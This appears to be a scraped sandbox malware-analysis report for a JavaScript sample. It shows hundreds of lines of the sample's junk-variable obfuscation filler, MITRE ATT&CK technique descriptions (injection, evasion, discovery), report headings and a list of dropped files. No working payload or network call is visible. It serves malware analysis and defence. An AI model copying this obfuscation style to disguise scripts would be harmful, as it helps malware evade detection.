532	ixazkb = "z";
533	ixazkb = "U";
534	ixazkb = "K";
535	ixazkb = "g";
536	ixazkb = "J";
537	ixazkb = "z";
538	ixazkb = "g";
539	ixazkb = "K";
540	ixazkb = "z";
541	ixazkb = "Q";
542	ixazkb = "g";
543	ixazkb = "D";
544	ixazkb = "A";
545	ixazkb = "X";
546	ixazkb = "k";
547	ixazkb = "i";
548	ixazkb = "n";
549	ixazkb = "t";
550	ixazkb = "_";
551	ajpzyh = "L";
552	ajpzyh = "R";
553	ajpzyh = "R";
554	ajpzyh = "p";
555	ajpzyh = "-";
556	rfobeyes = "i";
557	rfobeyes = "L";
558	rfobeyes = "T";
559	rfobeyes = "Z";
560	rfobeyes = "l";
561	rfobeyes = "u";
562	rfobeyes = "F";
563	rfobeyes = "E";
564	rfobeyes = "l";
565	rfobeyes = "o";
566	rfobeyes = "d";
567	rfobeyes = "J";
568	rfobeyes = "g";
569	rfobeyes = "S";
570	rfobeyes = "R";
571	rfobeyes = "d";
572	rfobeyes = "a";
573	rfobeyes = "R";
574	rfobeyes = "M";
575	rfobeyes = "g";
576	rfobeyes = "e";
577	rfobeyes = "I";
578	rfobeyes = "X";
579	rfobeyes = "M";
580	rfobeyes = "U";
581	rfobeyes = "i";
582	rfobeyes = "N";
583	rfobeyes = "L";
584	rfobeyes = "P";
585	rfobeyes = "t";
586	rfobeyes = "b";
587	rfobeyes = "U";
588	rfobeyes = "L";
589	rfobeyes = "R";
590	rfobeyes = "D";
591	rfobeyes = "q";
592	rfobeyes = "C";
593	rfobeyes = "M";
594	rfobeyes = "c";
595	ybcouji = "C";
596	ybcouji = "w";
597	ybcouji = "r";
598	ybcouji = "X";
599	ybcouji = "k";
600	ybcouji = "n";
601	ybcouji = "p";
602	ybcouji = "V";
603	ybcouji = "y";
604	ybcouji = "d";
605	ybcouji = "P";
606	ybcouji = "v";
607	ybcouji = "7";
608	ftvscl = "f";
609	ftvscl = "p";
610	ftvscl = "g";
611	ftvscl = "S";
612	ftvscl = "T";
613	ftvscl = "c";
614	ftvscl = "e";
615	ftvscl = "I";
616	ftvscl = "R";
617	ftvscl = "L";
618	ftvscl = "x";
619	ftvscl = "L";
620	ftvscl = "Y";
621	pswmjtqj = "I";
622	pswmjtqj = "h";
623	pswmjtqj = "b";
624	pswmjtqj = "v";
625	pswmjtqj = "N";
626	pswmjtqj = "J";
627	pswmjtqj = "O";
628	pswmjtqj = "t";
629	pswmjtqj = "D";
630	pswmjtqj = "q";
631	pswmjtqj = "P";
632	pswmjtqj = "w";
633	pswmjtqj = "S";
634	pswmjtqj = "L";
635	pswmjtqj = "i";
636	pswmjtqj = "E";
637	pswmjtqj = "w";
638	pswmjtqj = "p";
639	iecudg = "K";
640	iecudg = "r";
641	iecudg = "t";
642	iecudg = "e";
643	iecudg = "J";
644	iecudg = "A";
645	iecudg = "a";
646	iecudg = "D";
647	iecudg = "X";
648	iecudg = "q";
649	iecudg = "I";
650	iecudg = ".";
651	drszkm = "i";
652	drszkm = "v";
653	drszkm = "U";
654	drszkm = "U";
655	drszkm = "m";
656	drszkm = "F";
657	drszkm = "T";
658	drszkm = "K";
659	drszkm = "u";
660	drszkm = "J";
661	drszkm = "W";
662	drszkm = "A";
663	drszkm = "X";
664	drszkm = "m";
665	drszkm = "I";
666	cpfpa = "L";
667	cpfpa = "a";
668	cpfpa = "i";
669	cpfpa = "d";
670	cpfpa = "E";
671	cpfpa = "V";
672	cpfpa = "p";
673	cpfpa = "z";
674	cpfpa = "o";
675	cpfpa = "Z";
676	cpfpa = "j";
677	cpfpa = "o";
678	cpfpa = "X";
679	cpfpa = "D";
680	cpfpa = "R";
681	urgwwtv = "X";
682	urgwwtv = "C";
683	jgndatonv = "f";
684	mlivyddl = "t";
685	mlivyddl = "X";
686	mlivyddl = "l";
687	mlivyddl = "I";
688	mlivyddl = "e";
689	mlivyddl = "q";
690	mlivyddl = "U";
691	mlivyddl = "z";
692	mlivyddl = "x";
693	mlivyddl = "Q";
694	mlivyddl = "V";
695	mlivyddl = "U";
696	mlivyddl = "f";
697	mlivyddl = "X";
698	mlivyddl = "i";
699	mlivyddl = "H";
700	mlivyddl = "s";
701	mlivyddl = "s";
702	mlivyddl = "z";
703	mlivyddl = "E";
704	mlivyddl = "a";
705	mlivyddl = "R";
706	mlivyddl = "v";
707	mlivyddl = "S";
708	mlivyddl = "c";
709	mlivyddl = "G";
710	mlivyddl = "I";
711	mlivyddl = "v";
712	mlivyddl = "N";
713	mlivyddl = "b";
714	mlivyddl = "P";
715	mlivyddl = "o";
716	mlivyddl = "U";
717	mlivyddl = "b";
718	mlivyddl = "U";
719	mlivyddl = "M";
720	mlivyddl = "K";
721	mlivyddl = "m";
722	mlivyddl = "g";
723	mlivyddl = "Q";
724	mlivyddl = "X";
725	mlivyddl = "y";
726	mlivyddl = "v";
727	daecm = "5";
728	ildyhgkca = "E";
729	ildyhgkca = "f";
730	ildyhgkca = "i";
731	ildyhgkca = "g";
732	ildyhgkca = "B";
733	ildyhgkca = "R";
734	ildyhgkca = "M";
735	ildyhgkca = "e";
736	ildyhgkca = "S";
737	ildyhgkca = "A";
738	ildyhgkca = "q";
739	ildyhgkca = "B";
740	ildyhgkca = "u";
741	ildyhgkca = "Y";
742	ildyhgkca = "Q";
743	ildyhgkca = "w";
744	ildyhgkca = "C";
745	ildyhgkca = "j";
746	ildyhgkca = "r";
747	ildyhgkca = "K";
748	ildyhgkca = "m";
749	ildyhgkca = "U";
750	ildyhgkca = "d";
751	ildyhgkca = "v";
752	ildyhgkca = "a";
753	ildyhgkca = "e";
754	ildyhgkca = "d";
755	ildyhgkca = "h";
756	ildyhgkca = "C";
757	ildyhgkca = "Q";
758	ildyhgkca = "e";
759	ildyhgkca = "e";
760	ildyhgkca = "m";
761	ildyhgkca = "p";
762	ildyhgkca = "F";
763	ildyhgkca = "d";
764	ildyhgkca = "n";
765	ildyhgkca = "J";
766	ildyhgkca = "P";
767	ildyhgkca = "H";
768	ildyhgkca = "c";
769	ildyhgkca = "R";
770	ildyhgkca = "i";
771	alovolna = "D";
772	alovolna = "X";
773	alovolna = "j";
774	alovolna = "L";
775	alovolna = "m";
776	alovolna = "u";
777	alovolna = "S";
778	alovolna = "m";
779	alovolna = "P";
780	alovolna = "e";
781	xfafpqfxv = "F";
782	xfafpqfxv = "N";
783	kundalg = "N";
784	kundalg = "D";
785	kundalg = "f";
786	kundalg = "M";
787	kundalg = "A";
788	kundalg = "z";
789	kundalg = "A";
790	kundalg = "c";
791	kundalg = "O";
792	kundalg = "Z";
793	kundalg = "o";
794	kundalg = "G";
795	kundalg = "P";
796	kundalg = "p";
797	kundalg = "U";
798	kundalg = "O";
799	kundalg = "q";
800	kundalg = "J";
801	kundalg = "W";
802	kundalg = "C";
803	kundalg = "T";
804	kundalg = "I";
805	kundalg = "b";
806	kundalg = "g";
807	kundalg = "V";
808	kundalg = "S";
809	kundalg = "E";
810	kundalg = "r";
811	kundalg = "m";
812	kundalg = "h";
813	kundalg = "n";
814	kundalg = "/";
815	duixt = "T";
816	duixt = "L";
817	duixt = "R";
818	duixt = "r";
819	duixt = "x";
820	duixt = "S";
821	duixt = "h";
822	duixt = "Q";
823	duixt = "y";
824	duixt = "p";
825	duixt = "s";
826	duixt = "F";
827	duixt = "l";
828	duixt = "J";
829	duixt = "k";
830	duixt = "a";
831	duixt = "Z";
832	duixt = "S";
833	duixt = "B";
834	duixt = "j";
835	duixt = "b";
836	duixt = "X";
837	duixt = "y";
838	duixt = "O";
839	duixt = "c";
840	duixt = "F";
841	duixt = "T";
842	duixt = "N";
843	duixt = "u";
844	duixt = "l";
845	duixt = "f";
846	duixt = "u";
847	duixt = "p";
848	duixt = "W";
849	pbwjwz = "N";
850	pbwjwz = "S";
851	lsftechl = "Z";
852	lsftechl = "l";
853	lsftechl = "l";
854	lsftechl = "y";
855	lsftechl = "i";
856	lsftechl = "g";
857	lsftechl = "G";
858	lsftechl = "9";
859	vukibo = "e";
860	vukibo = "Z";
861	vukibo = "h";
862	vukibo = "g";
863	vukibo = "Q";
864	vukibo = "F";
865	vukibo = "Q";
866	vukibo = "l";
867	vukibo = "C";
868	vukibo = "K";
869	vukibo = "c";
870	vukibo = "Y";
871	vukibo = "v";
872	vukibo = "g";
873	vukibo = "M";
874	vukibo = "U";
875	vukibo = "F";
876	vukibo = "y";
877	vukibo = "W";
878	vukibo = "Z";
879	vukibo = "G";
880	vukibo = "R";
881	vukibo = "K";
882	vukibo = "j";
883	vukibo = "O";
884	vukibo = "S";
885	vukibo = "w";
886	vukibo = "C";
887	vukibo = "W";
888	vukibo = "a";
889	vukibo = "z";
890	vukibo = "D";
891	vukibo = "k";
892	vukibo = "G";
893	vukibo = "k";
894	vukibo = "@";
895	nblvqmi = "N";
896	nblvqmi = "C";
897	nblvqmi = "b";
898	nblvqmi = "T";
899	nblvqmi = "m";
900	nblvqmi = "Q";
901	nblvqmi = "V";
902	nblvqmi = "a";
903	nblvqmi = "m";
904	nblvqmi = "T";
905	nblvqmi = "a";
906	nblvqmi = "t";
907	nblvqmi = "D";
908	nblvqmi = "Z";
909	nblvqmi = "g";
910	nblvqmi = "w";
911	nblvqmi = "K";
912	nblvqmi = "n";
913	nblvqmi = "L";
914	nblvqmi = "T";
915	nblvqmi = "C";
916	nblvqmi = "r";
917	nblvqmi = "U";
918	nblvqmi = "g";
919	nblvqmi = "E";
920	lkpbxzons = "d";
921	lkpbxzons = "W";
922	lkpbxzons = "B";
923	lkpbxzons = "a";
924	lkpbxzons = "k";
925	lkpbxzons = "8";
926	eiytzsqu = "b";
927	eiytzsqu = "T";
928	eiytzsqu = "k";
929	eiytzsqu = "A";
930	eiytzsqu = "g";
931	eiytzsqu = "l";
932	eiytzsqu = "e";
933	eiytzsqu = "Q";
934	eiytzsqu = "f";
935	eiytzsqu = "u";
936	eiytzsqu = "C";
937	eiytzsqu = "Z";
938	eiytzsqu = "h";
939	pscjijepc = "i";
940	pscjijepc = "s";
941	pscjijepc = "N";
942	pscjijepc = "K";
943	pscjijepc = "c";
944	pscjijepc = "k";
945	pscjijepc = "J";
946	pscjijepc = "T";
947	pscjijepc = "f";
948	pscjijepc = "R";
949	pscjijepc = "D";
950	pscjijepc = "r";
951	pscjijepc = "I";
952	pscjijepc = "U";
953	pscjijepc = "Q";
954	pscjijepc = "S";
955	pscjijepc = "f";
956	pscjijepc = "I";
957	pscjijepc = "Z";
958	pscjijepc = "r";
959	pscjijepc = "o";
960	pscjijepc = "f";
961	pscjijepc = "P";
962	pscjijepc = "o";
963	narixuuo = "v";
964	narixuuo = "f";
965	narixuuo = "D";
966	narixuuo = "H";
967	narixuuo = "s";
968	narixuuo = "j";
969	narixuuo = "d";
970	narixuuo = "Y";
971	narixuuo = "e";
972	narixuuo = "R";
973	narixuuo = "B";
974	narixuuo = "I";
975	narixuuo = "K";
976	narixuuo = "U";
977	narixuuo = "d";
978	narixuuo = "W";
979	narixuuo = "R";
980	narixuuo = "u";
981	narixuuo = "D";
982	narixuuo = "b";
983	narixuuo = "Q";
984	narixuuo = "Z";
985	narixuuo = "a";
986	narixuuo = "S";
987	narixuuo = "C";
988	narixuuo = "y";
989	narixuuo = "g";
990	narixuuo = "C";
991	narixuuo = "D";
992	narixuuo = "q";
993	narixuuo = "S";
994	narixuuo = "O";
995	narixuuo = "X";
996	narixuuo = "s";
997	narixuuo = "S";
998	narixuuo = "D";
999	narixuuo = "s";
1000	narixuuo = "x";
1001	narixuuo = "m";
1002	narixuuo = "n";
1003	narixuuo = "C";
1004	narixuuo = "F";
1005	narixuuo = "H";
1006	yckex = "w";
1007	yckex = "l";
1008	yckex = "N";
1009	yckex = "g";
1010	yckex = "W";
1011	yckex = "Z";
1012	yckex = "D";
1013	yckex = "M";
1014	yckex = "o";
1015	yckex = "G";
1016	yckex = "Z";
1017	yckex = "Y";
1018	yckex = "d";
1019	yckex = "S";
1020	yckex = "c";
1021	yckex = "O";
1022	yckex = "B";
1023	yckex = "z";
1024	yckex = "z";
1025	yckex = "Z";
1026	yckex = "e";
1027	yckex = "v";
1028	yckex = "O";
1029	yckex = "n";
1030	qvfuchnm = "f";
1031	qvfuchnm = "H";
1032	qvfuchnm = "r";
1033	qvfuchnm = "u";
1034	qvfuchnm = "n";
1035	qvfuchnm = "p";
1036	qvfuchnm = "M";
1037	qvfuchnm = "O";
1038	qvfuchnm = "m";
1039	qvfuchnm = "T";
1040	qvfuchnm = "X";
1041	qvfuchnm = "J";
1042	qvfuchnm = "U";
1043	qvfuchnm = "e";
1044	qvfuchnm = "d";
1045	qvfuchnm = "N";
1046	qvfuchnm = "j";
1047	qvfuchnm = "\"";
1048	yqtuqxid = "a";
1049	yqtuqxid = "l";
1050	yqtuqxid = "f";
1051	yqtuqxid = "d";
1052	yqtuqxid = "r";
1053	yqtuqxid = "C";
1054	yqtuqxid = "x";
1055	yqtuqxid = "P";
1056	yqtuqxid = "M";
1057	yqtuqxid = "Y";
1058	yqtuqxid = "b";
1059	yqtuqxid = "g";
1060	yqtuqxid = "J";
1061	yqtuqxid = "Q";
1062	yqtuqxid = "a";
1063	yqtuqxid = "F";
1064	yqtuqxid = "T";
1065	yqtuqxid = "I";
1066	yqtuqxid = "v";
1067	yqtuqxid = "F";
1068	yqtuqxid = "b";
1069	yqtuqxid = "w";
1070	yqtuqxid = "t";
1071	yqtuqxid = "u";
1072	yqtuqxid = "C";
1073	yqtuqxid = "M";
1074	yqtuqxid = "a";
1075	uxkjruq = "l";
1076	uxkjruq = "F";
1077	uxkjruq = "z";
1078	uxkjruq = "G";
1079	uxkjruq = "n";
1080	uxkjruq = "g";
1081	uxkjruq = "i";
1082	uxkjruq = "O";
1083	uxkjruq = "n";
1084	uxkjruq = "Y";
1085	uxkjruq = "e";
1086	uxkjruq = "s";
1087	uxkjruq = "y";
1088	uxkjruq = "u";
1089	uxkjruq = "v";
1090	uxkjruq = "z";
1091	uxkjruq = "w";
1092	uxkjruq = "L";
1093	uxkjruq = "J";
1094	uxkjruq = "V";
1095	uxkjruq = "c";
1096	uxkjruq = "C";
1097	uxkjruq = "j";
1098	uxkjruq = "B";
1099	uxkjruq = "y";
1100	uxkjruq = "F";
1101	uxkjruq = "q";
1102	uxkjruq = "S";
1103	uxkjruq = "j";
1104	uxkjruq = "x";
1105	uxkjruq = "s";
1106	uxkjruq = "T";
1107	uxkjruq = "r";
1108	uxkjruq = "h";
1109	uxkjruq = "o";
1110	uxkjruq = "\\";
1111	vfzjr = "n";
1112	vfzjr = "F";
1113	vfzjr = "n";
1114	vfzjr = "Z";
1115	vfzjr = "p";
1116	vfzjr = "N";
1117	vfzjr = "K";
1118	vfzjr = "F";
1119	vfzjr = "e";
1120	vfzjr = "o";
1121	vfzjr = "b";
1122	vfzjr = "v";
1123	vfzjr = "T";
1124	vfzjr = "M";
1125	vfzjr = "M";
1126	vfzjr = "P";
1127	vfzjr = "c";
1128	vfzjr = "e";
1129	vfzjr = "e";
1130	vfzjr = "m";
1131	vfzjr = "y";
1132	vfzjr = "P";
1133	vfzjr = "m";
1134	vfzjr = "B";
1135	vfzjr = "U";
1136	vfzjr = "f";
1137	vfzjr = "X";
1138	vfzjr = "t";
1139	vfzjr = "b";
1140	vfzjr = "N";
1141	vfzjr = "k";
1142	vfzjr = "D";
1143	vfzjr = "p";
1144	vfzjr = "U";
1145	vfzjr = "a";
1146	vfzjr = "m";
1147	hmivl = "r";
1148	hmivl = "e";
1149	hmivl = "n";
1150	hmivl = "b";
1151	hmivl = "A";
1152	hmivl = "p";
1153	hmivl = "j";
1154	hmivl = "C";
1155	hmivl = "m";
1156	hmivl = "u";
1157	hmivl = "w";
1158	hmivl = "e";
1159	hmivl = "f";
1160	hmivl = "p";
1161	hmivl = "b";
1162	hmivl = "f";
1163	hmivl = "T";
1164	hmivl = "h";
1165	hmivl = "H";
1166	hmivl = "r";
1167	jstyusi = "v";
1168	jstyusi = "I";
1169	jstyusi = "s";
1170	jstyusi = "e";
1171	jstyusi = "i";
1172	jstyusi = "c";
1173	jstyusi = "V";
1174	jstyusi = "J";
1175	jstyusi = "J";
1176	jstyusi = "G";
1177	jstyusi = "x";
1178	jstyusi = "h";
1179	jstyusi = "Z";
1180	jstyusi = "I";
1181	jstyusi = "z";
1182	jstyusi = "I";
1183	jstyusi = "t";
1184	jstyusi = "u";
1185	jstyusi = "C";
1186	jstyusi = "h";
1187	jstyusi = "y";
1188	jstyusi = "b";
1189	jstyusi = "H";
1190	jstyusi = "V";
1191	jstyusi = "z";
1192	jstyusi = "k";
1193	jstyusi = "W";
1194	jstyusi = "4";
1195	sqoao = "a";
1196	sqoao = "C";
1197	sqoao = "g";
1198	sqoao = "w";
1199	sqoao = "x";
1200	sqoao = "e";
1201	sqoao = "C";
1202	sqoao = "x";
1203	sqoao = "r";
1204	sqoao = "w";
1205	yswmpoyc = "b";
1206	yswmpoyc = "O";
1207	yswmpoyc = "e";
1208	yswmpoyc = "W";
1209	yswmpoyc = "B";
1210	yswmpoyc = "P";
1211	yswmpoyc = "T";
1212	yswmpoyc = "W";
1213	yswmpoyc = "L";
1214	yswmpoyc = "o";
1215	yswmpoyc = "S";
1216	yswmpoyc = "W";
1217	yswmpoyc = "j";
1218	eacykby = "P";
1219	eacykby = "c";
1220	eacykby = "P";
1221	eacykby = "H";
1222	eacykby = "H";
1223	eacykby = "g";
1224	eacykby = "J";
1225	eacykby = "X";
1226	eacykby = "Y";
1227	eacykby = "B";
1228	eacykby = "H";
1229	eacykby = "W";
1230	eacykby = "T";
1231	eacykby = "s";
1232	eacykby = "O";
1233	eacykby = "x";
1234	dsbmtixep ( );	dsbmtixep() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1055116600916029869.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\641c9795-b041-4511-8d3e-54e76a74a886.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6904

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6904

Windows Analysis Report
1055116600916029869.js